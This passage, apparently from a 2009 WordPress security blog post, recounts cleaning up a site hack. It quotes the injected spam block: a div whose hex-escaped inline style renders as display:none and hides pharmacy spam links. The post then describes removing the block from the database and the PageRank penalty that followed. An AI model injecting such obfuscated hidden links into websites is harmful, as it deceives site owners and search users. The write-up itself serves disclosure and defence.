6. The file permissions where checked. In particular, I found the wp-config.php file was set at 775, I changed it to 755. I also made sure that none of the file were world writeable except the very few that need to be, like the uploads folder.

What the spam insertion looked like

<div style=\"\\64\\69\\73\\70\\6c\\61\\79:\\6e\\6f\\6e\\65\">
<a href=\"http://www.fcit.usf.edu/li/viagra.html\">viagra</a>\r\n<a href=\"http://www.fcit.usf.edu/li/free-viagra.html\">free viagra</a>\r\n

... lots more ...

</div>

That “style” attribute (inline CSS), when rendered in a typical browser, converted to display: none; and thus were not visible. For whatever reason, when Mobify picked up this content, that weird string of characters wasn’t converted and thus the div was visible not hidden.

The reason I’m sure the hackers chose this technique is that the blog owner may never realize the links were inserted because they aren’t typically visible. I would think that Google doesn’t give any link credit to links that are in a container with display: none, but perhaps the hacker’s theory is that the google bot won’t be able to tell this div is hidden because of the weird code.

I would be interested to know if Google can be duped with this technique. It seems like they would be smart enough to detect it, yet I wouldn’t be surprised if the site is penalized anyway due to being compromised by spam.

How I Removed the Links

Luckily the code that was inserted in every single Post/Page was identical. I downloaded a fresh copy of the Database (as a .SQL file), opened it up in TextMate (any text editor with find/replace will do) and did a find/replace on the block of spammy code (replaced it with nothing). Then I saved a new copy of it and created a new database on the server (hence the change in DB name). I imported the new fixed SQL file and posted WordPress at the new database.

Crossing My Fingers

It’s been a week now, and no more problems. I pray that what I have done has fixed whatever the hole was, but of course I can’t be 100% certain because I’m not 100% certain what it was to begin with. Of course, posting all this information surely doesn’t make me any more secure but oh well. I of course have serious backups going on so the worst thing that can happen is I get hacked again and have to restore from backups and keep plugging holes.

Consequences

Although the spam wasn’t on my site for more than a few hours, someone has pointed out to me that my Google PageRank for the homepage has dropped from a reasonable and healthy PR 6 to ZERO. While PageRank is a very weird thing and it could be any number of things including a random inaccurate report from Google, it seems more likely this is a penalization from them for the spam. Many of my subpages, which get crawled far less frequently, still have their PageRank. It’s not just the PageRank, many searches that would have brought up the homepage (e.g. my own name) are now far down the SERP pages when they used to be #1. This of course will be seriously affecting my traffic until my PageRank is restored, if it ever is.

CSS-Tricks, is non-trivial portion of my income, and if there is a serious dip in traffic it could certainly affect me financially. I’m not whining, it just goes to show that site security is not some abstract nerdy hobby, it’s serious business that can have serious consequences.

Like the article? Get the book!

© 2009 Digging into WordPress | Permalink | 29 comments | Add to Delicious
Categorized: Security | Tagged: database, hacking, spam